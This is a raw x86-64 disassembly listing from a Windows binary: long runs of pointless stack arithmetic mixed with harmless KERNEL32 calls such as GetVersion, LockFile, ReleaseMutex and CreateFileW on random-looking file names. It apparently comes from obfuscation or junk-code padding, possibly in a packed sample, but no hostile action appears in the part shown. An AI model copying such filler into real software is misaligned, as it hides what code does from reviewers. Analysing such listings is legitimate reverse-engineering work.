call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bbc], ax
mov rax, qword [0x140363dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b7]
and eax, ecx
mov byte [rsp + 0x698], al
movzx eax, word [rsp + 0x25a4]
movzx ecx, word [rsp + 0x2d38]
and eax, ecx
mov word [0x14035ccc0], ax
mov rax, qword [rsp + 0x16338]
mov rcx, qword [0x140363cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14e50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6d6c]
mov ecx, dword [rsp + 0xa8a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9138], eax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x16808], rax
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e24], ax
mov rax, qword [rsp + 0x14ae0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16718]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
lea rax, [rsp + 0xab08]
mov qword [rsp + 0x16810], rax
mov rax, qword [rsp + 0x13b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaadc], eax
lea rax, [rsp + 0x9488]
mov qword [rsp + 0x16818], rax
lea rcx, [rsp + 0x41dd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7318]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf64], eax
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0x146b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362cdc], ax
movzx eax, byte [rsp + 0x6bc]
mov rcx, qword [rsp + 0x14c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x749], al
mov eax, dword [rsp + 0x8024]
mov dword [rsp + 0xb2bc], eax
mov rax, qword [rsp + 0x15ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6788]
shl eax, cl
mov dword [rsp + 0xaf30], eax
mov rax, qword [0x140363d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
xor eax, ecx
mov word [rsp + 0x2120], ax
movsx eax, byte [rsp + 0x721]
movsx ecx, byte [rsp + 0x6da]
sar eax, cl
mov rcx, qword [rsp + 0x15438]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x25a4]
or eax, ecx
mov rcx, qword [rsp + 0x16288]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae7c], eax
movzx eax, byte [rsp + 0x706]
mov byte [rsp + 0x756], al
mov dword [rsp + 0x20], 0x13f6
mov r9d, 0xca3
mov r8d, 0x142a
mov edx, 0x7ae
mov rcx, qword [rsp + 0x15ed0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb2c0], eax
mov rax, qword [rsp + 0x16170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x166d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
mov dword [0x140364190], eax
mov eax, dword [rsp + 0xaf70]
mov dword [rsp + 0xb2c4], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x83e0], eax
mov eax, dword [rsp + 0xa8e8]
mov ecx, dword [rsp + 0x80ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad58], eax
lea rax, [rsp + 0x189c]
mov qword [rsp + 0x16820], rax
mov rax, qword [rsp + 0x16480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x164e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x540], al
mov rax, qword [rsp + 0x15e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x148c0]
mov rcx, qword [rsp + 0x15968]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab64], eax
lea rax, [rsp + 0x717c]
mov qword [rsp + 0x16828], rax
lea rax, [rsp + 0xab04]
mov qword [0x140364198], rax
mov rax, qword [rsp + 0x14ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x155f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x15a60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e10], ax
mov rax, qword [rsp + 0x16370]
movzx eax, byte [rax]
mov byte [rsp + 0x757], al
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x16490]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x141b0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x13580]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb154], eax
lea rax, [rsp + 0x8808]
mov qword [rsp + 0x16830], rax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14708]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2548]
xor eax, ecx
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0x15a78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14318]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0x16780]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xadbc]
shr eax, cl
mov dword [0x140363b0c], eax
mov rax, qword [rsp + 0x14250]
mov rcx, qword [rsp + 0x163e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14838]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.cMSkOyFZAdo7d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16838], rax
mov rax, qword [rsp + 0x147c8]
mov eax, dword [rax]
mov dword [rsp + 0xb2c8], eax
mov rax, qword [rsp + 0x16830]
mov ecx, dword [rsp + 0x8dc4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x160a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15440]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e38]
add eax, ecx
mov word [rsp + 0x2430], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x16840], rax
mov rax, qword [rsp + 0x166b0]
mov rcx, qword [rsp + 0x15240]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16558]
mov dword [rcx], eax
lea rax, [rsp + 0x6ed4]
mov qword [rsp + 0x16848], rax
mov rax, qword [rsp + 0x15808]
mov rcx, qword [rsp + 0x14b58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140364168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f18]
mov rcx, qword [rsp + 0x15d00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x78e4], eax
movzx eax, byte [0x1403535ca]
mov byte [rsp + 0x758], al
movsx eax, word [rsp + 0x2d34]
imul eax, eax, 0x194
mov rcx, qword [rsp + 0x149f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14048]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3ea], al
movzx eax, word [0x14035ccb4]
mov rcx, qword [rsp + 0x149d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14308]
mov word [rcx], ax
lea rax, [rsp + 0xac54]
mov qword [rsp + 0x16850], rax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
movzx eax, byte [0x14035e503]
movzx ecx, byte [rsp + 0x6d7]
sub eax, ecx
mov byte [rsp + 0x71d], al
lea rax, [rsp + 0x19f8]
mov qword [0x1403641a0], rax
mov rax, qword [rsp + 0x148b0]
mov eax, dword [rax]
mov dword [rsp + 0xb2cc], eax
mov eax, dword [rsp + 0xb278]
movzx ecx, al
mov eax, dword [rsp + 0xa73c]
sar eax, cl
mov rcx, qword [rsp + 0x166a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae1c]
movzx ecx, al
mov eax, dword [rsp + 0xad08]
shl eax, cl
mov dword [rsp + 0x6da0], eax
mov rax, qword [0x140363d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb158]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x211]
or eax, ecx
mov byte [rsp + 0x705], al
mov rax, qword [rsp + 0x15378]
movzx eax, word [rax]
mov word [rsp + 0x2e28], ax
mov rax, qword [rsp + 0x13b30]
mov rcx, qword [rsp + 0x14d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15668]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabec]
mov dword [rsp + 0xb2d0], eax
mov r9d, 1
lea r8, [rsp + 0x13750]
mov rdx, qword [rsp + 0x13a08]
mov rcx, qword [rsp + 0x15d70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf84], eax
lea rax, [rsp + 0x2d20]
mov qword [0x1403641a8], rax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70d]
and eax, ecx
mov rcx, qword [rsp + 0x15658]
mov byte [rcx], al
movzx eax, word [rsp + 0x19d8]
mov rcx, qword [rsp + 0x16288]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14428]
mov word [rcx], ax
mov rax, qword [rsp + 0x151e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ef]
sub eax, ecx
mov byte [rsp + 0x370], al
mov rax, qword [rsp + 0x14160]
mov rcx, qword [rsp + 0x16768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14068]
mov dword [rcx], eax
lea rax, [rsp + 0x9838]
mov qword [rsp + 0x16858], rax
mov rcx, qword [rsp + 0x15f40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xabe4]
mov ecx, dword [rsp + 0x9784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cd0], eax
mov rax, qword [0x140363ac8]
mov ecx, dword [rsp + 0xaaf8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3e0], eax
lea rax, [rsp + 0xabf0]
mov qword [rsp + 0x16860], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.UNbq_ff7hcMq_sCVAmWPyc61STXa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16868], rax
movzx eax, word [rsp + 0x2c78]
movzx ecx, word [rsp + 0x2c2c]
or eax, ecx
mov rcx, qword [rsp + 0x16820]
mov word [rcx], ax
movzx eax, byte [0x14035e505]
movzx ecx, byte [rsp + 0x710]
sub eax, ecx
mov rcx, qword [0x1403639c0]
mov byte [rcx], al
lea rax, [rsp + 0xa970]
mov qword [rsp + 0x16870], rax
mov rax, qword [rsp + 0x15490]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaefc]
sar eax, cl
mov rcx, qword [rsp + 0x15610]
mov dword [rcx], eax
mov rax, qword [0x140364080]
mov eax, dword [rax]
mov dword [rsp + 0xb2d4], eax
mov rax, qword [rsp + 0x15b28]
mov rcx, qword [rsp + 0x15598]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xadbc], eax
movzx eax, byte [rsp + 0x70e]
mov rcx, qword [rsp + 0x150b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x309], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3a85
mov r9d, 0x3371
mov r8d, 0xfc91320f
mov edx, 1
mov rcx, qword [rsp + 0x140d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaf88], eax
mov rax, qword [rsp + 0x14738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd4]
and eax, ecx
mov word [rsp + 0x1430], ax
movsx eax, byte [rsp + 0x71a]
mov rcx, qword [rsp + 0x16028]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15e08]
mov byte [rcx], al
lea rdx, [rsp + 0x46068]
mov rcx, qword [rsp + 0x162c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb140], eax
mov rax, qword [rsp + 0x13950]
movzx eax, word [rax]
mov word [rsp + 0x2e2c], ax
lea rax, [rsp + 0x87b0]
mov qword [0x1403641b0], rax
mov rax, qword [rsp + 0x15d28]
mov ecx, dword [rsp + 0xa8ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaf38], eax
movzx eax, word [rsp + 0x21e4]
movzx ecx, word [rsp + 0x1a6c]
sub eax, ecx
mov word [rsp + 0x2c3c], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x16878], rax
mov rax, qword [rsp + 0x15570]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14c10]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb014]
mov dword [rsp + 0xb2d8], eax
mov rax, qword [0x140364010]
mov ecx, dword [rsp + 0xae34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x136a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9500]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
lea rax, [rsp + 0x750]
mov qword [rsp + 0x16880], rax
mov rax, qword [0x140363b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x167c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x16830]
mov ecx, dword [rsp + 0xafd8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16668]
mov dword [rcx], eax
mov eax, dword [rsp + 0x956c]
mov ecx, dword [0x140363960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8188], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x15408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab8c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16488]
mov eax, dword [rax]
mov dword [rsp + 0xb2dc], eax
mov rax, qword [rsp + 0x13a48]
mov rcx, qword [rsp + 0x15470]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x162c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16758]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x15ae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29f4]
shl eax, cl
mov word [rsp + 0x16b0], ax
movzx eax, byte [rsp + 0x6cd]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6ec], al
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15608]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363ab8]
mov word [rcx], ax
mov eax, dword [0x140363bf8]
mov dword [rsp + 0xb2e0], eax
mov rax, qword [rsp + 0x14a28]
mov ecx, dword [rsp + 0x97f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c88], eax
movzx eax, word [rsp + 0x2dd0]
movzx ecx, word [rsp + 0x2af4]
or eax, ecx
mov word [rsp + 0x2b00], ax
lea rdx, [rsp + 0x460a0]
mov rcx, qword [rsp + 0x16760]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8b8], eax
movzx eax, byte [rsp + 0x604]
movzx ecx, byte [rsp + 0x6f6]
add eax, ecx
mov byte [rsp + 0x341], al
mov rax, qword [rsp + 0x15b80]
mov ecx, dword [rsp + 0x7c00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15898]
mov dword [rcx], eax
mov r9d, 0x26cd
xor r8d, r8d
lea rdx, [rsp + 0x16698]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xae74], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb118], eax
lea rax, [rsp + 0xae28]
mov qword [rsp + 0x16888], rax
mov r9d, 0x23f
xor r8d, r8d
lea rdx, [rsp + 0x14e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb2e4], eax
mov eax, dword [rsp + 0x7c08]
mov ecx, dword [rsp + 0x870c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf3c], eax
mov rax, qword [rsp + 0x14708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb094], eax
lea rax, [0x14035e4d4]
mov qword [0x1403641b8], rax
lea rax, [rsp + 0x2cc8]
mov qword [rsp + 0x16890], rax
mov eax, dword [rsp + 0x8994]
mov ecx, dword [rsp + 0x7a90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15f08]
mov dword [rcx], eax
lea rax, [rsp + 0xacf8]
mov qword [rsp + 0x16898], rax
lea rdx, [rsp + 0x45f50]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb254], eax
mov rax, qword [rsp + 0x14030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73f]
sub eax, ecx
mov rcx, qword [rsp + 0x14aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15748]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23b0]
sub eax, ecx
mov rcx, qword [rsp + 0x15298]
mov word [rcx], ax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x168a0], rax
movzx eax, byte [0x14035e4a4]
movzx ecx, byte [rsp + 0x211]
sub eax, ecx
mov rcx, qword [rsp + 0x13698]
mov byte [rcx], al
lea rax, [rsp + 0xaef0]
mov qword [rsp + 0x168a8], rax
movzx ecx, word [rsp + 0x2d30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e30], ax
mov eax, dword [0x140363f04]
mov rcx, qword [rsp + 0x15e48]
mov qword [rsp + 0x168b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x168b0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140363a1c], eax
mov eax, dword [rsp + 0x8904]
movzx ecx, al
mov eax, dword [rsp + 0xa974]
shl eax, cl
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x160f8]
mov eax, dword [rax]
mov dword [rsp + 0xb2e8], eax
mov eax, dword [rsp + 0x9688]
mov ecx, dword [rsp + 0xb0a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x15270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15eb8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc0], al
lea rax, [rsp + 0x19d8]
mov qword [rsp + 0x168b8], rax
mov r9d, 1
lea r8, [rsp + 0x14b78]
mov rdx, qword [rsp + 0x15420]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa74], eax
mov rax, qword [0x140364198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15600]
mov dword [rcx], eax
mov rax, qword [rsp + 0x154c0]
mov eax, dword [rax]
mov dword [rsp + 0xb2ec], eax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa96c], eax
mov eax, dword [rsp + 0xa96c]
mov dword [0x140364194], eax
movzx eax, word [0x140362bb4]
movzx ecx, word [rsp + 0x20d8]
add eax, ecx
mov word [rsp + 0x24ec], ax
movzx eax, byte [rsp + 0x4bc]
movzx ecx, byte [rsp + 0x6d9]
or eax, ecx
mov byte [rsp + 0x57a], al
movsx eax, byte [rsp + 0x71c]
movsx ecx, byte [rsp + 0x707]
add eax, ecx
mov byte [rsp + 0x6ee], al
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0x168c0], rax
mov rax, qword [rsp + 0x14fe8]
mov ecx, dword [rsp + 0xb198]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb2ec], eax
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14628]
mov ecx, dword [rsp + 0xad4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14e40]
mov dword [rcx], eax
lea rax, [rsp + 0x200c]
mov qword [rsp + 0x168c8], rax
mov rax, qword [rsp + 0x15ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
lea rax, [rsp + 0xaa44]
mov qword [0x1403641c0], rax
mov eax, dword [rsp + 0xaef8]
mov dword [rsp + 0xb2f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.RPqdDE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x168d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf6c], eax
mov rax, qword [rsp + 0x14a80]
mov ecx, dword [rsp + 0xaa58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x874c]
movzx ecx, al
mov eax, dword [rsp + 0x9e80]
shr eax, cl
mov dword [rsp + 0x8800], eax
movzx eax, word [rsp + 0x2014]
mov rcx, qword [rsp + 0x14268]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x16630]
mov word [rcx], ax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [0x1403535cf]
xor eax, ecx
mov byte [rsp + 0x328], al
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x168d8], rax
mov rax, qword [rsp + 0x14b50]
mov rcx, qword [rsp + 0x15bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac48]
mov dword [rsp + 0xb2f4], eax
mov rax, qword [rsp + 0x15ce8]
mov ecx, dword [rsp + 0xaa58]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363d84], eax
mov eax, dword [rsp + 0xad10]
mov ecx, dword [rsp + 0xb0a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14878]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [0x140364170]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2474], ax
lea rax, [rsp + 0x757]
mov qword [rsp + 0x168e0], rax
mov rax, qword [rsp + 0x149d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d98]
and eax, ecx
mov rcx, qword [rsp + 0x16088]
mov word [rcx], ax
mov rax, qword [rsp + 0x13430]
movzx eax, byte [rax]
mov byte [rsp + 0x759], al
mov rax, qword [0x140364020]
mov ecx, dword [rsp + 0xa758]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaad4], eax
mov rax, qword [rsp + 0x137f8]
mov ecx, dword [rsp + 0xaf74]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x168e8], rax
mov rax, qword [rsp + 0x15a30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cbfc], ax
mov eax, dword [rsp + 0xac80]
mov ecx, dword [rsp + 0xb2ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b4], eax
lea rax, [0x14035cc84]
mov qword [rsp + 0x168f0], rax
mov rax, qword [rsp + 0x15490]
mov ecx, dword [rsp + 0x7e8c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15c20]
mov ecx, dword [rsp + 0x7a10]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x135c0]
mov dword [rcx], eax
lea rax, [rsp + 0x562]
mov qword [rsp + 0x168f8], rax
mov rax, qword [rsp + 0x158b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c64]
sar eax, cl
mov word [rsp + 0x1e30], ax
lea rax, [rsp + 0x82ec]
mov qword [rsp + 0x16900], rax
mov eax, dword [0x140363be0]
mov rcx, qword [rsp + 0x15e68]
mov qword [rsp + 0x16908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16908]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16508]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x707]
mov rcx, qword [rsp + 0x163a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1403535db], al
lea rdx, [rsp + 0x16910]
mov rcx, qword [rsp + 0x159c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaca0], eax
lea rax, [rsp + 0x22dc]
mov qword [rsp + 0x16918], rax
lea rcx, [rsp + 0x41cb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x16380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bdc]
or eax, ecx
mov word [rsp + 0x1a6c], ax
movzx eax, byte [rsp + 0x202]
movzx ecx, byte [rsp + 0x434]
and eax, ecx
mov rcx, qword [rsp + 0x137b8]
mov byte [rcx], al
lea rax, [rsp + 0xadd4]
mov qword [rsp + 0x16920], rax
movzx ecx, word [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dc8], ax
mov rax, qword [rsp + 0x154c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
lea rax, [rsp + 0xa884]
mov qword [rsp + 0x16928], rax
mov eax, dword [rsp + 0x8f8c]
mov ecx, dword [rsp + 0x8718]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92fc], eax
mov rax, qword [0x1403639f8]
mov ecx, dword [rsp + 0x80c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb1c0], eax
mov rax, qword [rsp + 0x14e20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c64]
and eax, ecx
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0x14780]
movzx eax, byte [rax]
mov byte [0x14035e584], al
mov rax, qword [rsp + 0x14a48]
mov ecx, dword [rsp + 0xad14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7a10], eax
lea rax, [rsp + 0xaa5c]
mov qword [rsp + 0x16930], rax
mov rax, qword [rsp + 0x14a30]
mov rcx, qword [rsp + 0x16930]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14be0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb1e0]
